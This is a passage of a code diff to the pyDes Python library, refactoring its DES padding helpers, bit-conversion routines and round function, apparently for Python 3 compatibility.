self.block_size == 0: - # No padding required. - return data - - if not pad: - # Get the default padding. - pad = self.getPadding() - if not pad: - raise ValueError("Data must be a multiple of " + str(self.block_size) + " bytes in length. Use padmode=PAD_PKCS5 or set the pad character.") - data += (self.block_size - (len(data) % self.block_size)) * pad - - elif padmode == PAD_PKCS5: - pad_len = 8 - (len(data) % self.block_size) - if _pythonMajorVersion < 3: - data += pad_len * chr(pad_len) - else: - data += bytes([pad_len] * pad_len) - - return data - - def _unpadData(self, data, pad, padmode): - # Unpad data depending on the mode. - if not data: - return data - if pad and padmode == PAD_PKCS5: - raise ValueError("Cannot use a pad character with PAD_PKCS5") - if padmode is None: - # Get the default padding mode. - padmode = self.getPadMode() - - if padmode == PAD_NORMAL: - if not pad: - # Get the default padding. - pad = self.getPadding() - if pad: - data = data[:-self.block_size] + \ - data[-self.block_size:].rstrip(pad) - - elif padmode == PAD_PKCS5: - if _pythonMajorVersion < 3: - pad_len = ord(data[-1]) - else: - pad_len = data[-1] - data = data[:-pad_len] - - return data - - def _guardAgainstUnicode(self, data): - # Only accept byte strings or ascii unicode values, otherwise - # there is no way to correctly decode the data into bytes. - if _pythonMajorVersion < 3: - if isinstance(data, unicode): - data = data.encode('utf8') - else: - if isinstance(data, str): - # Only accept ascii unicode values. - try: - return data.encode('ascii') - except UnicodeEncodeError: - pass - raise ValueError("pyDes can only work with encoded strings, not Unicode.") - return data + def __init__(self, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL): + if IV: + IV = self._guardAgainstUnicode(IV) + if pad: + pad = self._guardAgainstUnicode(pad) + self.block_size = 8 + # Sanity checking of arguments. + if pad and padmode == PAD_PKCS5: + raise ValueError("Cannot use a pad character with PAD_PKCS5") + if IV and len(IV) != self.block_size: + raise ValueError("Invalid Initial Value (IV), must be a multiple of " + str(self.block_size) + " bytes") + + # Set the passed in variables + self._mode = mode + self._iv = IV + self._padding = pad + self._padmode = padmode + + def getKey(self): + """getKey() -> bytes""" + return self.__key + + def setKey(self, key): + """Will set the crypting key for this object.""" + key = self._guardAgainstUnicode(key) + self.__key = key + + def getMode(self): + """getMode() -> pyDes.ECB or pyDes.CBC""" + return self._mode + + def setMode(self, mode): + """Sets the type of crypting mode, pyDes.ECB or pyDes.CBC""" + self._mode = mode + + def getPadding(self): + """getPadding() -> bytes of length 1. Padding character.""" + return self._padding + + def setPadding(self, pad): + """setPadding() -> bytes of length 1. Padding character.""" + if pad is not None: + pad = self._guardAgainstUnicode(pad) + self._padding = pad + + def getPadMode(self): + """getPadMode() -> pyDes.PAD_NORMAL or pyDes.PAD_PKCS5""" + return self._padmode + + def setPadMode(self, mode): + """Sets the type of padding mode, pyDes.PAD_NORMAL or pyDes.PAD_PKCS5""" + self._padmode = mode + + def getIV(self): + """getIV() -> bytes""" + return self._iv + + def setIV(self, IV): + """Will set the Initial Value, used in conjunction with CBC mode""" + if not IV or len(IV) != self.block_size: + raise ValueError("Invalid Initial Value (IV), must be a multiple of " + str(self.block_size) + " bytes") + IV = self._guardAgainstUnicode(IV) + self._iv = IV + + def _padData(self, data, pad, padmode): + # Pad data depending on the mode + if padmode is None: + # Get the default padding mode. + padmode = self.getPadMode() + if pad and padmode == PAD_PKCS5: + raise ValueError("Cannot use a pad character with PAD_PKCS5") + + if padmode == PAD_NORMAL: + if len(data) % self.block_size == 0: + # No padding required. + return data + + if not pad: + # Get the default padding. + pad = self.getPadding() + if not pad: + raise ValueError("Data must be a multiple of " + str(self.block_size) + " bytes in length. Use padmode=PAD_PKCS5 or set the pad character.") + data += (self.block_size - (len(data) % self.block_size)) * pad + + elif padmode == PAD_PKCS5: + pad_len = 8 - (len(data) % self.block_size) + if _pythonMajorVersion < 3: + data += pad_len * chr(pad_len) + else: + data += bytes([pad_len] * pad_len) + + return data + + def _unpadData(self, data, pad, padmode): + # Unpad data depending on the mode. + if not data: + return data + if pad and padmode == PAD_PKCS5: + raise ValueError("Cannot use a pad character with PAD_PKCS5") + if padmode is None: + # Get the default padding mode. + padmode = self.getPadMode() + + if padmode == PAD_NORMAL: + if not pad: + # Get the default padding. + pad = self.getPadding() + if pad: + data = data[:-self.block_size] + \ + data[-self.block_size:].rstrip(pad) + + elif padmode == PAD_PKCS5: + if _pythonMajorVersion < 3: + pad_len = ord(data[-1]) + else: + pad_len = data[-1] + data = data[:-pad_len] + + return data + + def _guardAgainstUnicode(self, data): + # Only accept byte strings or ascii unicode values, otherwise + # there is no way to correctly decode the data into bytes. + if _pythonMajorVersion < 3: + if isinstance(data, unicode): + raise ValueError("pyDes can only work with bytes, not Unicode strings.") + else: + if isinstance(data, str): + # Only accept ascii unicode values. + try: + return data.encode('ascii') + except UnicodeEncodeError: + pass + raise ValueError("pyDes can only work with encoded strings, not Unicode.") + return data ############################################################################# -# DES # +# DES # ############################################################################# class des(_baseDes): - """DES encryption/decrytpion class - - Supports ECB (Electronic Code Book) and CBC (Cypher Block Chaining) modes. - - pyDes.des(key,[mode], [IV]) - - key -> Bytes containing the encryption key, must be exactly 8 bytes - mode -> Optional argument for encryption type, can be either pyDes.ECB - (Electronic Code Book), pyDes.CBC (Cypher Block Chaining) - IV -> Optional Initial Value bytes, must be supplied if using CBC mode. - Must be 8 bytes in length. - pad -> Optional argument, set the pad character (PAD_NORMAL) to use - during all encrypt/decrpt operations done with this instance. - padmode -> Optional argument, set the padding mode (PAD_NORMAL or - PAD_PKCS5) to use during all encrypt/decrpt operations done - with this instance. - """ - - - # Permutation and translation tables for DES - __pc1 = [56, 48, 40, 32, 24, 16, 8, - 0, 57, 49, 41, 33, 25, 17, - 9, 1, 58, 50, 42, 34, 26, - 18, 10, 2, 59, 51, 43, 35, - 62, 54, 46, 38, 30, 22, 14, - 6, 61, 53, 45, 37, 29, 21, - 13, 5, 60, 52, 44, 36, 28, - 20, 12, 4, 27, 19, 11, 3 - ] - - # number left rotations of pc1 - __left_rotations = [ - 1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1 - ] - - # permuted choice key (table 2) - __pc2 = [ - 13, 16, 10, 23, 0, 4, - 2, 27, 14, 5, 20, 9, - 22, 18, 11, 3, 25, 7, - 15, 6, 26, 19, 12, 1, - 40, 51, 30, 36, 46, 54, - 29, 39, 50, 44, 32, 47, - 43, 48, 38, 55, 33, 52, - 45, 41, 49, 35, 28, 31 - ] - - # initial permutation IP - __ip = [57, 49, 41, 33, 25, 17, 9, 1, - 59, 51, 43, 35, 27, 19, 11, 3, - 61, 53, 45, 37, 29, 21, 13, 5, - 63, 55, 47, 39, 31, 23, 15, 7, - 56, 48, 40, 32, 24, 16, 8, 0, - 58, 50, 42, 34, 26, 18, 10, 2, - 60, 52, 44, 36, 28, 20, 12, 4, - 62, 54, 46, 38, 30, 22, 14, 6 - ] - - # Expansion table for turning 32 bit blocks into 48 bits - __expansion_table = [ - 31, 0, 1, 2, 3, 4, - 3, 4, 5, 6, 7, 8, - 7, 8, 9, 10, 11, 12, - 11, 12, 13, 14, 15, 16, - 15, 16, 17, 18, 19, 20, - 19, 20, 21, 22, 23, 24, - 23, 24, 25, 26, 27, 28, - 27, 28, 29, 30, 31, 0 - ] - - # The (in)famous S-boxes - __sbox = [ - # S1 - [14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7, - 0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 5, 3, 8, - 4, 1, 14, 8, 13, 6, 2, 11, 15, 12, 9, 7, 3, 10, 5, 0, - 15, 12, 8, 2, 4, 9, 1, 7, 5, 11, 3, 14, 10, 0, 6, 13], - - # S2 - [15, 1, 8, 14, 6, 11, 3, 4, 9, 7, 2, 13, 12, 0, 5, 10, - 3, 13, 4, 7, 15, 2, 8, 14, 12, 0, 1, 10, 6, 9, 11, 5, - 0, 14, 7, 11, 10, 4, 13, 1, 5, 8, 12, 6, 9, 3, 2, 15, - 13, 8, 10, 1, 3, 15, 4, 2, 11, 6, 7, 12, 0, 5, 14, 9], - - # S3 - [10, 0, 9, 14, 6, 3, 15, 5, 1, 13, 12, 7, 11, 4, 2, 8, - 13, 7, 0, 9, 3, 4, 6, 10, 2, 8, 5, 14, 12, 11, 15, 1, - 13, 6, 4, 9, 8, 15, 3, 0, 11, 1, 2, 12, 5, 10, 14, 7, - 1, 10, 13, 0, 6, 9, 8, 7, 4, 15, 14, 3, 11, 5, 2, 12], - - # S4 - [7, 13, 14, 3, 0, 6, 9, 10, 1, 2, 8, 5, 11, 12, 4, 15, - 13, 8, 11, 5, 6, 15, 0, 3, 4, 7, 2, 12, 1, 10, 14, 9, - 10, 6, 9, 0, 12, 11, 7, 13, 15, 1, 3, 14, 5, 2, 8, 4, - 3, 15, 0, 6, 10, 1, 13, 8, 9, 4, 5, 11, 12, 7, 2, 14], - - # S5 - [2, 12, 4, 1, 7, 10, 11, 6, 8, 5, 3, 15, 13, 0, 14, 9, - 14, 11, 2, 12, 4, 7, 13, 1, 5, 0, 15, 10, 3, 9, 8, 6, - 4, 2, 1, 11, 10, 13, 7, 8, 15, 9, 12, 5, 6, 3, 0, 14, - 11, 8, 12, 7, 1, 14, 2, 13, 6, 15, 0, 9, 10, 4, 5, 3], - - # S6 - [12, 1, 10, 15, 9, 2, 6, 8, 0, 13, 3, 4, 14, 7, 5, 11, - 10, 15, 4, 2, 7, 12, 9, 5, 6, 1, 13, 14, 0, 11, 3, 8, - 9, 14, 15, 5, 2, 8, 12, 3, 7, 0, 4, 10, 1, 13, 11, 6, - 4, 3, 2, 12, 9, 5, 15, 10, 11, 14, 1, 7, 6, 0, 8, 13], - - # S7 - [4, 11, 2, 14, 15, 0, 8, 13, 3, 12, 9, 7, 5, 10, 6, 1, - 13, 0, 11, 7, 4, 9, 1, 10, 14, 3, 5, 12, 2, 15, 8, 6, - 1, 4, 11, 13, 12, 3, 7, 14, 10, 15, 6, 8, 0, 5, 9, 2, - 6, 11, 13, 8, 1, 4, 10, 7, 9, 5, 0, 15, 14, 2, 3, 12], - - # S8 - [13, 2, 8, 4, 6, 15, 11, 1, 10, 9, 3, 14, 5, 0, 12, 7, - 1, 15, 13, 8, 10, 3, 7, 4, 12, 5, 6, 11, 0, 14, 9, 2, - 7, 11, 4, 1, 9, 12, 14, 2, 0, 6, 10, 13, 15, 3, 5, 8, - 2, 1, 14, 7, 4, 10, 8, 13, 15, 12, 9, 0, 3, 5, 6, 11], - ] - - - # 32-bit permutation function P used on the output of the S-boxes - __p = [ - 15, 6, 19, 20, 28, 11, - 27, 16, 0, 14, 22, 25, - 4, 17, 30, 9, 1, 7, - 23,13, 31, 26, 2, 8, - 18, 12, 29, 5, 21, 10, - 3, 24 - ] - - # final permutation IP^-1 - __fp = [ - 39, 7, 47, 15, 55, 23, 63, 31, - 38, 6, 46, 14, 54, 22, 62, 30, - 37, 5, 45, 13, 53, 21, 61, 29, - 36, 4, 44, 12, 52, 20, 60, 28, - 35, 3, 43, 11, 51, 19, 59, 27, - 34, 2, 42, 10, 50, 18, 58, 26, - 33, 1, 41, 9, 49, 17, 57, 25, - 32, 0, 40, 8, 48, 16, 56, 24 - ] - - # Type of crypting being done - ENCRYPT = 0x00 - DECRYPT = 0x01 - - # Initialisation - def __init__(self, key, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL): - # Sanity checking of arguments. - if len(key) != 8: - raise ValueError("Invalid DES key size. Key must be exactly 8 bytes long.") - _baseDes.__init__(self, mode, IV, pad, padmode) - self.key_size = 8 - - self.L = [] - self.R = [] - self.Kn = [ [0] * 48 ] * 16 # 16 48-bit keys (K1 - K16) - self.final = [] - - self.setKey(key) - - def setKey(self, key): - """Will set the crypting key for this object. Must be 8 bytes.""" - _baseDes.setKey(self, key) - self.__create_sub_keys() - - def __String_to_BitList(self, data): - """Turn the string data, into a list of bits (1, 0)'s""" - if _pythonMajorVersion < 3: - # Turn the strings into integers. Python 3 uses a bytes - # class, which already has this behaviour. - data = [ord(c) for c in data] - - result = [False] * len(data) * 8 - pos = 0 - for ch in data: - result[pos + 0] = (ch & (1 << 7) != 0) - result[pos + 1] = (ch & (1 << 6) != 0) - result[pos + 2] = (ch & (1 << 5) != 0) - result[pos + 3] = (ch & (1 << 4) != 0) - result[pos + 4] = (ch & (1 << 3) != 0) - result[pos + 5] = (ch & (1 << 2) != 0) - result[pos + 6] = (ch & (1 << 1) != 0) - result[pos + 7] = (ch & (1 << 0) != 0) - pos += 8 - - return result - - def __BitList_to_String(self, data): - """Turn the list of bits -> data, into a string""" - result = [0] * (len(data) >> 3) - pos = 0 - while pos < len(data): - c = data[pos + 0] << (7 - 0) - c += data[pos + 1] << (7 - 1) - c += data[pos + 2] << (7 - 2) - c += data[pos + 3] << (7 - 3) - c += data[pos + 4] << (7 - 4) - c += data[pos + 5] << (7 - 5) - c += data[pos + 6] << (7 - 6) - c += data[pos + 7] << (7 - 7) - result[pos >> 3] = c - pos += 8 - - if _pythonMajorVersion < 3: - return ''.join([ chr(c) for c in result ]) - else: - return bytes(result) - - def __permutate(self, table, block): - """Permutate this block with the specified table""" - #return map(lambda x: block[x], table) - return list(block[x] for x in table) - - # Transform the secret key, so that it is ready for data processing - # Create the 16 subkeys, K[1] - K[16] - def __create_sub_keys(self): - """Create the 16 subkeys K[1] to K[16] from the given key""" - key = self.__permutate(des.__pc1, self.__String_to_BitList(self.getKey())) - i = 0 - # Split into Left and Right sections - self.L = key[:28] - self.R = key[28:] - while i < 16: - j = 0 - # Perform circular left shifts - while j < des.__left_rotations[i]: - self.L.append(self.L[0]) - del self.L[0] - - self.R.append(self.R[0]) - del self.R[0] - - j += 1 - - # Create one of the 16 subkeys through pc2 permutation - self.Kn[i] = self.__permutate(des.__pc2, self.L + self.R) - - i += 1 - - # Main part of the encryption algorithm, the number cruncher :) - def __des_crypt(self, block, crypt_type): - """Crypt the block of data through DES bit-manipulation""" - block = self.__permutate(des.__ip, block) - Bn = [0] * 32 - self.L = block[:32] - self.R = block[32:] - - # Encryption starts from Kn[1] through to Kn[16] - if crypt_type == des.ENCRYPT: - iteration = 0 - iteration_adjustment = 1 - # Decryption starts from Kn[16] down to Kn[1] - else: - iteration = 15 - iteration_adjustment = -1 - - i = 0 - while i < 16: - # Make a copy of R[i-1], this will later become L[i] - tempR = self.R[:] - - # Permutate R[i - 1] to start creating R[i] - self.R = self.__permutate(des.__expansion_table, self.R) - - # Exclusive or R[i - 1] with K[i], create B[1] to B[8] whilst here - self.R = map(lambda x, y: x ^ y, self.R, self.Kn[iteration]) - B = [self.R[:6], self.R[6:12], self.R[12:18], self.R[18:24], self.R[24:30], self.R[30:36], self.R[36:42], self.R[42:]] - # Optimization: Replaced below commented code with above - #j = 0 - #B = [] - #while j < len(self.R): - # self.R[j] = self.R[j] ^ self.Kn[iteration][j] - # j += 1 - # if j % 6 == 0: - # B.append(self.R[j-6:j]) - - # Permutate B[1] to B[8] using the S-Boxes - j = 0 - pos = 0 - while j < 8: - # Work out the offsets - m = (B[j][0] << 1) + B[j][5] - n = (B[j][1] << 3) + (B[j][2] << 2) + (B[j][3] << 1) + B[j][4] - - # Find the permutation value - v = des.__sbox[j][(m << 4) + n] - - # Turn value into bits, add it to result: Bn - Bn[pos] = (v & 8) >> 3 - Bn[pos + 1] = (v & 4) >> 2 - Bn[pos + 2] = (v & 2) >> 1 - Bn[pos + 3] = v & 1 - - pos += 4 - j += 1 - - # Permutate the concatination of B[1] to B[8] (Bn) - self.R = self.__permutate(des.__p, Bn) - - # Xor with L[i - 1] - self.R = map(lambda x, y: x ^ y, self.R, self.L) - # Optimization: This now replaces the below commented code - #j = 0 - #while j < len(self.R): - # self.R[j] = self.R[j] ^ self.L[j] - # j += 1 - - # L[i] becomes R[i - 1] - self.L = tempR - - i += 1 - iteration += iteration_adjustment - - # Final permutation of R[16]L[16] - self.final = self.__permutate(des.__fp, self.R + self.L) - return self.final - - - # Data to be encrypted/decrypted - def crypt(self, data, crypt_type): - """Crypt the data in blocks, running it through des_crypt()""" - - # Error check the data - if not data: - return '' - if len(data) % self.block_size != 0: - if crypt_type == des.DECRYPT: # Decryption must work on 8 byte blocks - raise ValueError("Invalid data length, data must be a multiple of " + str(self.block_size) + " bytes\n.") - if not self.getPadding(): - raise ValueError("Invalid data length, data must be a multiple of " + str(self.block_size) + " bytes\n. Try setting the optional padding character") - else: - data += (self.block_size - (len(data) % self.block_size)) * self.getPadding() - # print "Len of data: %f" % (len(data) / self.block_size) - - if self.getMode() == CBC: - if self.getIV(): - iv = self.__String_to_BitList(self.getIV()) - else: - raise ValueError("For CBC mode, you must supply the Initial Value (IV) for ciphering") - - # Split the data into blocks, crypting each one seperately - i = 0 - dict = {} - result = [] - #cached = 0 - #lines = 0 - while i < len(data): - # Test code for caching encryption results - #lines += 1 - #if dict.has_key(data[i:i+8]): - #print "Cached result for: %s" % data[i:i+8] - # cached += 1 - # result.append(dict[data[i:i+8]]) - # i += 8 - # continue - - block = self.__String_to_BitList(data[i:i+8]) - - # Xor with IV if using CBC mode - if self.getMode() == CBC: - if crypt_type == des.ENCRYPT: - block = map(lambda x, y: x ^ y, block, iv) - #j = 0 - #while j < len(block): - # block[j] = block[j] ^ iv[j] - # j += 1 - - processed_block = self.__des_crypt(block, crypt_type) - - if crypt_type == des.DECRYPT: - processed_block = map(lambda x, y: x ^ y, processed_block, iv) - #j = 0 - #while j < len(processed_block): - # processed_block[j] = processed_block[j] ^ iv[j] - # j += 1 - iv = block - else: - iv = processed_block - else: - processed_block = self.__des_crypt(block, crypt_type) - - - # Add the resulting crypted block to our list - #d = self.__BitList_to_String(processed_block) - #result.append(d) - result.append(self.__BitList_to_String(processed_block)) - #dict[data[i:i+8]] = d - i += 8 - - # print "Lines: %d, cached: %d" % (lines, cached) - - # Return the full crypted string - if _pythonMajorVersion < 3: - return ''.join(result) - else: - return bytes.fromhex('').join(result) - - def encrypt(self, data, pad=None, padmode=None): - """encrypt(data, [pad], [padmode]) -> bytes - - data : Bytes to be encrypted - pad : Optional argument for encryption padding. Must only be one byte - padmode : Optional argument for overriding the padding mode. - - The data must be a multiple of 8 bytes and will be encrypted - with the already specified key. Data does not have to be a - multiple of 8 bytes if the padding character is supplied, or - the padmode is set to PAD_PKCS5, as bytes will then added to - ensure the be padded data is a multiple of 8 bytes. - """ - data = self._guardAgainstUnicode(data) - if pad is not None: - pad = self._guardAgainstUnicode(pad) - data = self._padData(data, pad, padmode) - return self.crypt(data, des.ENCRYPT) - - def decrypt(self, data, pad=None, padmode=None): - """decrypt(data, [pad], [padmode]) -> bytes - - data : Bytes to be encrypted - pad : Optional argument for decryption padding. Must only be one byte - padmode : Optional argument for overriding the padding mode. - - The data must be a multiple of 8 bytes and will be decrypted - with the already specified key. In PAD_NORMAL mode, if the - optional padding character is supplied, then the un-encrypted - data will have the padding characters removed from the end of - the bytes. This pad removal only occurs on the last 8 bytes of - the data (last data block). In PAD_PKCS5 mode, the special - padding end markers will be removed from the data after decrypting. - """ - data = self._guardAgainstUnicode(data) - if pad is not None: - pad = self._guardAgainstUnicode(pad) - data = self.crypt(data, des.DECRYPT) - return self._unpadData(data, pad, padmode) + """DES encryption/decrytpion class + + Supports ECB (Electronic Code Book) and CBC (Cypher Block Chaining) modes. + + pyDes.des(key,[mode], [IV]) + + key -> Bytes containing the encryption key, must be exactly 8 bytes + mode -> Optional argument for encryption type, can be either pyDes.ECB + (Electronic Code Book), pyDes.CBC (Cypher Block Chaining) + IV -> Optional Initial Value bytes, must be supplied if using CBC mode. + Must be 8 bytes in length. + pad -> Optional argument, set the pad character (PAD_NORMAL) to use + during all encrypt/decrpt operations done with this instance. + padmode -> Optional argument, set the padding mode (PAD_NORMAL or + PAD_PKCS5) to use during all encrypt/decrpt operations done + with this instance. + """ + + + # Permutation and translation tables for DES + __pc1 = [56, 48, 40, 32, 24, 16, 8, + 0, 57, 49, 41, 33, 25, 17, + 9, 1, 58, 50, 42, 34, 26, + 18, 10, 2, 59, 51, 43, 35, + 62, 54, 46, 38, 30, 22, 14, + 6, 61, 53, 45, 37, 29, 21, + 13, 5, 60, 52, 44, 36, 28, + 20, 12, 4, 27, 19, 11, 3 + ] + + # number left rotations of pc1 + __left_rotations = [ + 1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1 + ] + + # permuted choice key (table 2) + __pc2 = [ + 13, 16, 10, 23, 0, 4, + 2, 27, 14, 5, 20, 9, + 22, 18, 11, 3, 25, 7, + 15, 6, 26, 19, 12, 1, + 40, 51, 30, 36, 46, 54, + 29, 39, 50, 44, 32, 47, + 43, 48, 38, 55, 33, 52, + 45, 41, 49, 35, 28, 31 + ] + + # initial permutation IP + __ip = [57, 49, 41, 33, 25, 17, 9, 1, + 59, 51, 43, 35, 27, 19, 11, 3, + 61, 53, 45, 37, 29, 21, 13, 5, + 63, 55, 47, 39, 31, 23, 15, 7, + 56, 48, 40, 32, 24, 16, 8, 0, + 58, 50, 42, 34, 26, 18, 10, 2, + 60, 52, 44, 36, 28, 20, 12, 4, + 62, 54, 46, 38, 30, 22, 14, 6 + ] + + # Expansion table for turning 32 bit blocks into 48 bits + __expansion_table = [ + 31, 0, 1, 2, 3, 4, + 3, 4, 5, 6, 7, 8, + 7, 8, 9, 10, 11, 12, + 11, 12, 13, 14, 15, 16, + 15, 16, 17, 18, 19, 20, + 19, 20, 21, 22, 23, 24, + 23, 24, 25, 26, 27, 28, + 27, 28, 29, 30, 31, 0 + ] + + # The (in)famous S-boxes + __sbox = [ + # S1 + [14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7, + 0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 5, 3, 8, + 4, 1, 14, 8, 13, 6, 2, 11, 15, 12, 9, 7, 3, 10, 5, 0, + 15, 12, 8, 2, 4, 9, 1, 7, 5, 11, 3, 14, 10, 0, 6, 13], + + # S2 + [15, 1, 8, 14, 6, 11, 3, 4, 9, 7, 2, 13, 12, 0, 5, 10, + 3, 13, 4, 7, 15, 2, 8, 14, 12, 0, 1, 10, 6, 9, 11, 5, + 0, 14, 7, 11, 10, 4, 13, 1, 5, 8, 12, 6, 9, 3, 2, 15, + 13, 8, 10, 1, 3, 15, 4, 2, 11, 6, 7, 12, 0, 5, 14, 9], + + # S3 + [10, 0, 9, 14, 6, 3, 15, 5, 1, 13, 12, 7, 11, 4, 2, 8, + 13, 7, 0, 9, 3, 4, 6, 10, 2, 8, 5, 14, 12, 11, 15, 1, + 13, 6, 4, 9, 8, 15, 3, 0, 11, 1, 2, 12, 5, 10, 14, 7, + 1, 10, 13, 0, 6, 9, 8, 7, 4, 15, 14, 3, 11, 5, 2, 12], + + # S4 + [7, 13, 14, 3, 0, 6, 9, 10, 1, 2, 8, 5, 11, 12, 4, 15, + 13, 8, 11, 5, 6, 15, 0, 3, 4, 7, 2, 12, 1, 10, 14, 9, + 10, 6, 9, 0, 12, 11, 7, 13, 15, 1, 3, 14, 5, 2, 8, 4, + 3, 15, 0, 6, 10, 1, 13, 8, 9, 4, 5, 11, 12, 7, 2, 14], + + # S5 + [2, 12, 4, 1, 7, 10, 11, 6, 8, 5, 3, 15, 13, 0, 14, 9, + 14, 11, 2, 12, 4, 7, 13, 1, 5, 0, 15, 10, 3, 9, 8, 6, + 4, 2, 1, 11, 10, 13, 7, 8, 15, 9, 12, 5, 6, 3, 0, 14, + 11, 8, 12, 7, 1, 14, 2, 13, 6, 15, 0, 9, 10, 4, 5, 3], + + # S6 + [12, 1, 10, 15, 9, 2, 6, 8, 0, 13, 3, 4, 14, 7, 5, 11, + 10, 15, 4, 2, 7, 12, 9, 5, 6, 1, 13, 14, 0, 11, 3, 8, + 9, 14, 15, 5, 2, 8, 12, 3, 7, 0, 4, 10, 1, 13, 11, 6, + 4, 3, 2, 12, 9, 5, 15, 10, 11, 14, 1, 7, 6, 0, 8, 13], + + # S7 + [4, 11, 2, 14, 15, 0, 8, 13, 3, 12, 9, 7, 5, 10, 6, 1, + 13, 0, 11, 7, 4, 9, 1, 10, 14, 3, 5, 12, 2, 15, 8, 6, + 1, 4, 11, 13, 12, 3, 7, 14, 10, 15, 6, 8, 0, 5, 9, 2, + 6, 11, 13, 8, 1, 4, 10, 7, 9, 5, 0, 15, 14, 2, 3, 12], + + # S8 + [13, 2, 8, 4, 6, 15, 11, 1, 10, 9, 3, 14, 5, 0, 12, 7, + 1, 15, 13, 8, 10, 3, 7, 4, 12, 5, 6, 11, 0, 14, 9, 2, + 7, 11, 4, 1, 9, 12, 14, 2, 0, 6, 10, 13, 15, 3, 5, 8, + 2, 1, 14, 7, 4, 10, 8, 13, 15, 12, 9, 0, 3, 5, 6, 11], + ] + + + # 32-bit permutation function P used on the output of the S-boxes + __p = [ + 15, 6, 19, 20, 28, 11, + 27, 16, 0, 14, 22, 25, + 4, 17, 30, 9, 1, 7, + 23,13, 31, 26, 2, 8, + 18, 12, 29, 5, 21, 10, + 3, 24 + ] + + # final permutation IP^-1 + __fp = [ + 39, 7, 47, 15, 55, 23, 63, 31, + 38, 6, 46, 14, 54, 22, 62, 30, + 37, 5, 45, 13, 53, 21, 61, 29, + 36, 4, 44, 12, 52, 20, 60, 28, + 35, 3, 43, 11, 51, 19, 59, 27, + 34, 2, 42, 10, 50, 18, 58, 26, + 33, 1, 41, 9, 49, 17, 57, 25, + 32, 0, 40, 8, 48, 16, 56, 24 + ] + + # Type of crypting being done + ENCRYPT = 0x00 + DECRYPT = 0x01 + + # Initialisation + def __init__(self, key, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL): + # Sanity checking of arguments. + if len(key) != 8: + raise ValueError("Invalid DES key size. Key must be exactly 8 bytes long.") + _baseDes.__init__(self, mode, IV, pad, padmode) + self.key_size = 8 + + self.L = [] + self.R = [] + self.Kn = [ [0] * 48 ] * 16 # 16 48-bit keys (K1 - K16) + self.final = [] + + self.setKey(key) + + def setKey(self, key): + """Will set the crypting key for this object. Must be 8 bytes.""" + _baseDes.setKey(self, key) + self.__create_sub_keys() + + def __String_to_BitList(self, data): + """Turn the string data, into a list of bits (1, 0)'s""" + if _pythonMajorVersion < 3: + # Turn the strings into integers. Python 3 uses a bytes + # class, which already has this behaviour. + data = [ord(c) for c in data] + l = len(data) * 8 + result = [0] * l + pos = 0 + for ch in data: + i = 7 + while i >= 0: + if ch & (1 << i) != 0: + result[pos] = 1 + else: + result[pos] = 0 + pos += 1 + i -= 1 + + return result + + def __BitList_to_String(self, data): + """Turn the list of bits -> data, into a string""" + result = [] + pos = 0 + c = 0 + while pos < len(data): + c += data[pos] << (7 - (pos % 8)) + if (pos % 8) == 7: + result.append(c) + c = 0 + pos += 1 + + if _pythonMajorVersion < 3: + return ''.join([ chr(c) for c in result ]) + else: + return bytes(result) + + def __permutate(self, table, block): + """Permutate this block with the specified table""" + return [block[i] for i in table] + + # Transform the secret key, so that it is ready for data processing + # Create the 16 subkeys, K[1] - K[16] + def __create_sub_keys(self): + """Create the 16 subkeys K[1] to K[16] from the given key""" + key = self.__permutate(des.__pc1, self.__String_to_BitList(self.getKey())) + i = 0 + # Split into Left and Right sections + self.L = key[:28] + self.R = key[28:] + while i < 16: + j = 0 + # Perform circular left shifts + while j < des.__left_rotations[i]: + self.L.append(self.L[0]) + del self.L[0] + + self.R.append(self.R[0]) + del self.R[0] + + j += 1 + + # Create one of the 16 subkeys through pc2 permutation + self.Kn[i] = self.__permutate(des.__pc2, self.L + self.R) + + i += 1 + + # Main part of the encryption algorithm, the number cruncher :) + def __des_crypt(self, block, crypt_type): + """Crypt the block of data through DES bit-manipulation""" + block = self.__permutate(des.__ip, block) + self.L = block[:32] + self.R = block[32:] + + # Encryption starts from Kn[1] through to Kn[16] + if crypt_type == des.ENCRYPT: + iteration = 0 + iteration_adjustment = 1 + # Decryption starts from Kn[16] down to Kn[1] + else: + iteration = 15 + iteration_adjustment = -1 + + i = 0 + while i < 16: + # Make a copy of R[i-1], this will later become L[i] + tempR = self.R[:] + + # Permutate R[i - 1] to start creating R[i] + self.R = self.__permutate(des.__expansion_table, self.R) + + # Exclusive or R[i - 1] with K[i], create B[1] to B[8] whilst here + self.R = [b ^ k for b, k in zip(self.R, self.Kn[iteration])] + B = [self.R[:6], self.R[6:12], self.R[12:18], self.R[18:24], self.R[24:30], self.R[30:36], self.R[36:42], self.R[42:]] + # Optimization: Replaced below commented code with above + #j = 0 + #B = [] + #while j < len(self.R): + # self.R[j] = self.R[j] ^ self.Kn[iteration][j] + # j += 1 + # if j % 6 == 0: + # B.append(self.R[j-6:j]) + + # Permutate B[1] to B[8] using the S-Boxes + j = 0 + Bn = [0] * 32 + pos = 0 + while j < 8: + # Work out the offsets + m = (B[j][0] << 1) + B[j][5] + n = (B[j][1] << 3) + (B[j][2] << 2) + (B[j][3] << 1) + B[j][4] + + # Find the permutation value + v = des.__sbox[j][(m << 4) + n] + + # Turn value into bits, add it to result: Bn + Bn[pos] = (v & 8) >> 3 + Bn[pos + 1] = (v & 4) >> 2 + Bn[pos + 2] = (v & 2) >> 1 + Bn[pos + 3] = v & 1 + + pos += 4 + j += 1 + + # Permutate the concatination of B[1] to B[8] (Bn) + self.R = self.__permutate(des.__p, Bn) + + # Xor with L[i - 1] + self.R = [b ^ l for b, l in zip(self.R, self.L)] + # Optimization: This now replaces the below commented code + #j = 0 + #while j < len(self.R): + # self.R[j] = self.R[j] ^ self.L[j] + # j += 1 + + # L[i] becomes R[i - 1] + self.L = tempR + + i += 1 + iteration += iteration_adjustment + + # Final permutation of R[16]L[16] + self.final = self.__permutate(des.__fp, self.R + self.L) + return self.final + + + # Data to be encrypted/decrypted + def crypt(self, data, crypt_type): + """Crypt the data in blocks, running it through des_crypt()""" + + # Error check the data + 